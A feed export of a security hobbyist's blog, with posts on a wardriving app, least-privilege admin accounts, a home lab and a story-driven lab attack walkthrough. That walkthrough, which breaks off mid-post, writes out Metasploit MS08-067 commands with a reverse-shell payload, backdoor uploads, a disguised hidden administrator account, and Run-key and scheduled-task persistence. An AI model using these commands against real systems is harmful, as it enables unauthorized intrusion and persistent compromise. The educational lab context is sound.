configurable with a selection of different attachment types available to include as email attachments so scans can be easily imported into either Netstumbler, Google Earth or directly to the popular wardriving site Wigle.net.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oMXMQ8jjI/AAAAAAAABY8/N_h2aloTuy4/s1600-h/IMG_0248.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oMXMQ8jjI/AAAAAAAABY8/N_h2aloTuy4/s320/IMG_0248.PNG" alt="" id="BLOGGER_PHOTO_ID_5425162293690011186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Following a scan and prior to an export Wifi-Where displays a useful summary from the captured data detailing the number of hotspots, those that were open, secure, hidden or ad-hoc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oNRCIsbWI/AAAAAAAABZE/g0XcRAmycyI/s1600-h/IMG_0258.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oNRCIsbWI/AAAAAAAABZE/g0XcRAmycyI/s320/IMG_0258.PNG" alt="" id="BLOGGER_PHOTO_ID_5425163287403457890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wifi-Where also exports out to a csv which is really useful for keeping logs of a particular scanning session.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have only one criticism of Wifi-Where, after a scan if you apply a filter it seems to delete everything but what you are filtering on. I would like to see either a warning that data is being deleted or see the preferably see the filters applied and removed without actually removing data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The following are features I would like to see in future updates:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A countdown timer applied to scans. This would be useful to prevent the battery completely depleting during a scan. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Having a swipe to delete function on individual access points would be nice. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Additional filters on encrypted AP's would be useful, such as listing all AP's using WEP. Combining filters such as WEP and no encryption would also be handy. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;The only feature I have seen in another App which I would like to see here would be the radar view as implimented in WiFifoFum. Wifi-Where could improve on this by allowing filters to be applied and then switching to radar view to let the user home in on a particular AP. Along with this could be graphing screen that allows the user to select a range of AP's and see graphs of the signal strength as you move around.  This would useful when siting access points.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;It would be great to have the ability to run the app in a GPS only mode and log routes to a .kml file for later import into Google Earth.   This would effectively double up the program as a GPS tracker and if this was done without the wifi card being enabled it would save valuable battery life.  Then again this feature could be fleshed out enough to be an app in it's own right.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;All in all my opinion is that Wifi-Where is the best iPhone wardriving app for non jailbroken iPhones.  If you only want the one wifi scanning app on the iPhone I suggest Wifi-Where is the one to purchase.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5767367890704041562?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5767367890704041562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5767367890704041562&amp;isPopup=true' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5767367890704041562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5767367890704041562'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/01/iphone-wardriving-just-got-better.html' title='iPhone Wardriving Just Got Better'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oJav0Sv5I/AAAAAAAABYc/NjDvd6R65aw/s72-c/IMG_0247.PNG' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-3235675826511790703</id><published>2010-01-08T20:43:00.003Z</published><updated>2010-01-08T20:51:35.323Z</updated><title type='text'>Part-time Superman</title><content type='html'>The other night I went out for a few pints with a mate who is a network manager at a prison. We were discussing a new application that he is rolling out to inmates and as I asked questions it came out that he, along with all the other network admins have domain admin privileges on their day to day user accounts and all IT Staff have local admin privileges. I was shocked that in a prison more emphasis wasn't placed on network security. My mate explained that although all the books he had read and all the courses he had attended had always recommended that you should only have the minimum privileges necessary to do your job,  the reason for having these admin rights is it's impossible to work without them. I told him that I thought that was total bollocks and thanks to Conficker I had managed to push through policies at my workplace where no IT staff has Domain Admin rights on their day to day account and no user (including IT staff) has local admin rights.  I spent the next half hour or so explaining that this wasn't about preventing the admins from having god like control over their computers, it's more about having the least privileges needed to perform a particular function. &lt;br /&gt;&lt;br /&gt;Having a policy that puts IT administrators into the Local Administrator group puts every workstation at risk if the IT administrators PC is compromised or infected with malware.  Having users with Domain Admin rights on their day to day accounts puts not only every workstation at risk but every server at risk as well. Hopefully by the end of my drunken rant he got the idea. &lt;br /&gt;&lt;br /&gt;OK, so the way I have achieved this level of account control is by the use of SuperUser accounts. Each administrator has their normal day to day account which is as restricted as a normal user and they also have a SuperUser account.  The SuperUser accounts have Local Admin and Domain Admin privileges, but they do not have mailboxes or Internet access. This forces the admins to use there day to day account to log in and work as normal.  Admittedly this does mean there are more accounts to keep track of but I have a few PowerShell shell scripts that I regularly run to help with that.&lt;br /&gt;&lt;br /&gt;When the admin needs to remote onto a server he uses his SuperUser account, which provides a useful audit trail which isn't achievable if all admins use the administrator account. When the admin needs to run tools from his PC I advise them to use the RunAs command. I have the following shortcuts set up on my computer which covers nearly everything I have to do.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Command Prompt&lt;/span&gt;&lt;br /&gt;When I launch cmd.exe I'm prompted for my superuser password, then everything I run from the shell is within the context of my superuser account.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "C:\WINDOWS\system32\cmd.exe"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PowerShell&lt;/span&gt;&lt;br /&gt;I have configured a PowerShell shortcut to run as my superuser account. I also have a standard PowerShell shortcut that I use where possible. The shortcut uses the following command:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "C:\WINDOWS\system32\windowspowershell\v1.0\powershell.exe"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows Explorer&lt;/span&gt;&lt;br /&gt;The explorer shortcut is really handy if I need to browse the file systems of remote servers. The shortcut uses the following command:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;C:\WINDOWS\system32\runas.exe /user:DomainName\SuperUserAccount "explorer /separate"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Custom MMC&lt;/span&gt;&lt;br /&gt;I have created a custom MMC with add-ins that I require to perform admin tasks such as Active Directory User and Computers, Sites and Services, Computer Management and a few others.  I have saved the MMC in a directory that's easy to launch from a command prompt that I'm running as my SuperUser account.&lt;br /&gt;&lt;br /&gt;Any other program need to run under elevated permissions are either run using the RunAs command or i right clicked on and use RunAs from the context menu.&lt;br /&gt;&lt;br /&gt;The PowerShell function I created script to regularly check that the SuperUser accounts group membership is quite simple and works well as all the superuser accounts are named similarly.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Function Check-SuperUsers {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Write-Host "SuperUser Group Membership" -ForegroundColor Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$names = (Get-QADUser -sizelimit 0 -SamAccountName "*-superuser")&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Foreach ($name in $names){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;write-host $Name -ForegroundColor Red&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$user = (get-qaduser $Name); $groups = $user.memberof&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Foreach($group in $groups)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;{$strGroup = $group.split(',')[0]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$strGroup = $strGroup.split('=')[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$strGroup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, another effect of this reduction in privileges for admins and IT staff is we get affected by group policies and software issues in the same way that users do, although this may be viewed as inconvenient I think it makes us better at solving problems. In the same vein we as admins are (or should be) affected by the same security restrictions as typical users on our day to day accounts, if we can find loopholes or gaps in these restrictions to allow us to bypass them then so can the users. Far too often I make hear management make comments  that users will not be able to bypass this or that restriction because they are to stupid. I often wonder who the stupid ones really are.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-3235675826511790703?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/3235675826511790703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=3235675826511790703&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3235675826511790703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3235675826511790703'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/01/part-time-superman.html' title='Part-time Superman'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-870431118093811461</id><published>2009-12-27T23:51:00.004Z</published><updated>2009-12-28T00:17:19.151Z</updated><title type='text'>The SynJunkie Lab - Part 2</title><content type='html'>This is just a very quick followup post to get a couple of diagrams posted following a few of requests after my last blog post.&lt;br /&gt;&lt;br /&gt;I'll start off by saying that the network details I'm posting are for a test lab that I am currently preparing for some future blob posts. I'm not overly concerned about posting these details as they are for my lab which will be pretty much trashed when I've finished a few blog posts I have planned.  The network is segmented off from my own network so anything I let loose on the Walliford LAN is not going to impact my wifes Facebook usage! (Got to get the priorities straight).&lt;br /&gt;&lt;br /&gt;The image below shows the 2 laptops and a netbook I have and how I use them in respects to the lab.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Szfz0spb-gI/AAAAAAAABYM/NWqCPttnKPU/s1600-h/Lab-HW-Setup.png"&gt;&lt;img style="cursor: pointer; width: 209px; height: 320px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Szfz0spb-gI/AAAAAAAABYM/NWqCPttnKPU/s320/Lab-HW-Setup.png" alt="" id="BLOGGER_PHOTO_ID_5420068763227388418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I usaually just fire up a DC and whichever hosts are needed depending on what I'm testing. This just goes to show that if your not doing anything to heavy on the VM's you really can create a lab on a shoestring budget.&lt;br /&gt;&lt;br /&gt;Below is the diagram of the Walliford LAN as it would look if it were a real network.  Obviously there would be additional hosts and other network devices but what I have created is enough for me to test most of the functionality of my tools, and the range of host I have (Mail, SQL, Web etc...) is enough to keep me busy for a while yet.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Szf1w1UaBuI/AAAAAAAABYU/Vu-ehMhwTM4/s1600-h/Walliford-Lab.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 179px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Szf1w1UaBuI/AAAAAAAABYU/Vu-ehMhwTM4/s320/Walliford-Lab.png" alt="" id="BLOGGER_PHOTO_ID_5420070895858878178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the LAN which Bob will be playing with in the next series of Bob posts which I plan for the new year.&lt;br /&gt;&lt;br /&gt;As you can see, I'm no diagramming expert but what I have is good enough to help me step through the network as i'm planning my posts. I'll probably tweak and adjust the diagrams as needed but for now they'll do.&lt;br /&gt;&lt;br /&gt;Anyway, thats about it for this post.  As I said it was just about getting the diagrams out.&lt;br /&gt;&lt;br /&gt;Cheers&lt;br /&gt;&lt;br /&gt;syn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-870431118093811461?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/870431118093811461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=870431118093811461&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/870431118093811461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/870431118093811461'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/12/synjunkie-lab-part-2.html' title='The SynJunkie Lab - Part 2'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/Szfz0spb-gI/AAAAAAAABYM/NWqCPttnKPU/s72-c/Lab-HW-Setup.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8903490350820028898</id><published>2009-12-21T09:37:00.004Z</published><updated>2009-12-28T00:18:09.863Z</updated><title type='text'>The SynJunkie Lab - Part 1</title><content type='html'>I've been asked a couple of times recently how I have my lab set up, in this post I'll provide a brief overview.&lt;br /&gt;&lt;br /&gt;Just quickly I want to say that if you have the time and resources to create a lab I thoroughly recommend doing so.  I use my lab for testing configurations that I wouldn't want to try on a production network, applying policies and testing the effects on servers and clients and learning new software. Primarily I like to use the my lab for learning and using security tools in an environment that will allow me to have a complete view of the effects of the tools from both an attackers and defenders perspective where they won't damage anyone's network.&lt;br /&gt;&lt;br /&gt;Setting up a lab is a really useful learning exercise in itself. For example, I haven't had the opportunity to use virtualisation in the workplace yet but because of my lab I have experience using VMWare, Xen, Parallels and Virtualbox.&lt;br /&gt;&lt;br /&gt;One tip I would give to anyone setting up a lab is this, approach the project as if you were designing a real network.  Plan it, document it and maintain it.  A few years ago I heard an interview with Mike Poor, one of the tips he gave was to know your network.  In real life that might not be possible, you might be working the helpdesk or in IT Support and not have access to servers and switches, But in your lab you can be in control of every area of the network, the servers, the network, the clients. You really are God, so use those god-like powers to know your network inside out.   Use the functionality offered in the virtualisation tools, if you are going to make a major change or you are going to perform a particular attack, back up the necessary hosts firsts or take snapshots so you can roll back, just like you would on a real network.  There's nothing worse than having to rebuild servers of your network just because you didn't take 5 minutes to do a snapshot first.&lt;br /&gt;&lt;br /&gt;Finally, give thought to segmentig your lab from the rest of your network, realising you have DOS'd you wife as you refine your ARP poisoning attack is not a good thing!&lt;br /&gt;&lt;br /&gt;With that said, here's a few details of my lab.  The physical hardware I have is as follows:&lt;br /&gt;&lt;br /&gt;1 x Dell laptop&lt;br /&gt;1 x MacBook&lt;br /&gt;1 x Acer netbook&lt;br /&gt;2 x wireless routers&lt;br /&gt;1 x Cisco 2950 switch&lt;br /&gt;1 x Cisco 800 series router&lt;br /&gt;&lt;br /&gt;I use a combination of Parallels, Xen and Dynamips to virtualise about 5 servers, some workstations and as many routers as I need.  The Dell laptop is a pretty beefy laptop that I used as my primary PC before I got the Mac. I wiped off the OS which was Vista and installed the free Xen Server hypervisor. This allows me to use all the memory for servers and PC's as the hypervisor runs on next to nothing.  These are the primary servers and workstations that I attack in my lab.&lt;br /&gt;&lt;br /&gt;On my mac I have another DC, a member server and a few VM clients. Having the DC allows me to perform some tests if I'm away from home and I don't have access to the xen server.&lt;br /&gt;&lt;br /&gt;The Switches and routers are from a bin (yes people really do just throw out perfectly good hardware) and from ebay.&lt;br /&gt;&lt;br /&gt;For OS's for the VM's I'll either use the 180 day eval versions or whatever else I can find, there are plenty of Linux distros about that can be downloaded. Or if you are limited on bandwidth Go down to the newsagents and grab a linux magazine, there are always Cover CD's which have distributions included.&lt;br /&gt;&lt;br /&gt;Building a lab can be done for very little cost. With Virtualbox for virtualisation, eval versions of OS's available from Microsoft and more free Linux distros than you can shake a big stick at there's really no excuse. I guess the only outlay is going to be hardware and at the moment hardware is pretty cheap. One thing I do to make the most of my hardware is after building a host, I get it up and running and then look at the resources (memory and CPU) it's using. Then I tweak the resources available to the VM down as much as I possibly can.  This allows me to get more VM's up and running on my Xen laptop at the same time.  However, if the role of the VM changes make sure you review the resources so it has enough power to do it's new job.  And once again, document the lab so if you don't get chance to use it for a while you can easily review your network diagrams and pick up where you left off.  Kivio is a free network diagramming tool for the Linux platform.  If your a Windows only type of guy then give www.gliffy.com a try, you need to register but after that you'll have access to pretty snazzy network planning tools.&lt;br /&gt;&lt;br /&gt;I hope this has been useful to someone.&lt;br /&gt;&lt;br /&gt;All the best&lt;br /&gt;&lt;br /&gt;Syn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8903490350820028898?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8903490350820028898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8903490350820028898&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8903490350820028898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8903490350820028898'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/12/synjunkie-lab.html' title='The SynJunkie Lab - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6346789316218773059</id><published>2009-12-11T20:56:00.003Z</published><updated>2009-12-11T21:10:19.869Z</updated><title type='text'>The Obligatory "I'm Not Dead" Post</title><content type='html'>There comes a time in a bloggers life that he or she has to post the "I'm not dead" entry.  I'm not sure why and I'm not sure if anyone cares but I guess it's just good manners.  So here it is.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'm not dead but I am currently updating my lab with a SAN/NAS, SQL server, routers &amp;amp; switches and an Exchange Server for yet more Bob fun, well fun for me anyway. I hope to have the lab ready to continue and some fresh ideas for the next round of Bob posts in the new year.  I'll be picking up where I left off, with Bob having planted his backdoors and now preparing to make himself at home on the Walliford network.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;All the best for the holiday season.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Syn&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6346789316218773059?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6346789316218773059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6346789316218773059&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6346789316218773059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6346789316218773059'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/12/obligatory-im-not-dead-post.html' title='The Obligatory &quot;I&apos;m Not Dead&quot; Post'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6952392750866862377</id><published>2009-11-20T22:56:00.012Z</published><updated>2009-11-21T12:09:53.358Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Bob The Backdoor Man - Part 2</title><content type='html'>&lt;a href="http://synjunkie.blogspot.com/2009/11/amazing-adventures-of-bob.html"&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;Previously in Bob Land....&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The very next day Bob feels ready to hop back onto his compromised host on the Walliford Fries LAN and get his back doors planted. He logs into the wireless network with the WPA key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067 exploit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use windows/smb/ms08_067_netapi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set LHOST 192.168.2.102&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set LPORT 8181&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set RHOST 192.168.2.101&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;migrate 714&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;lcd /root/payloads&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;upload winmsd32.exe&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;upload winmsd16.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SwckstInyVI/AAAAAAAABXM/Dzrxtkla4nQ/s1600/upload1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 242px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SwckstInyVI/AAAAAAAABXM/Dzrxtkla4nQ/s320/upload1.png" alt="" id="BLOGGER_PHOTO_ID_5406330228130171218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net user MS_Support31337 Support31337 /add&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net localgroup Administrators MS_Support31337 /add&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;net localgroup "Backup Operators" MS_Support31337 /add&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net localgroup "Power Users" MS_Support31337 /add&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Swck-rnTNWI/AAAAAAAABXU/103Ob3XKkLs/s1600/upload2.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 186px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Swck-rnTNWI/AAAAAAAABXU/103Ob3XKkLs/s320/upload2.png" alt="" id="BLOGGER_PHOTO_ID_5406330536959620450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now Bob wants to get down to business and plant some of these lovely backdoors he's created.  Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Swclg0w8XpI/AAAAAAAABXc/BtcsiosTVGs/s1600/upload4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 85px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Swclg0w8XpI/AAAAAAAABXc/BtcsiosTVGs/s320/upload4.png" alt="" id="BLOGGER_PHOTO_ID_5406331123531538066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bob check that his registry entry has been set using the reg query command.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SwclroPIcGI/AAAAAAAABXk/kYo-ucwqQ9U/s1600/upload3.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 186px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SwclroPIcGI/AAAAAAAABXk/kYo-ucwqQ9U/s320/upload3.png" alt="" id="BLOGGER_PHOTO_ID_5406331309147058274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks.  One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 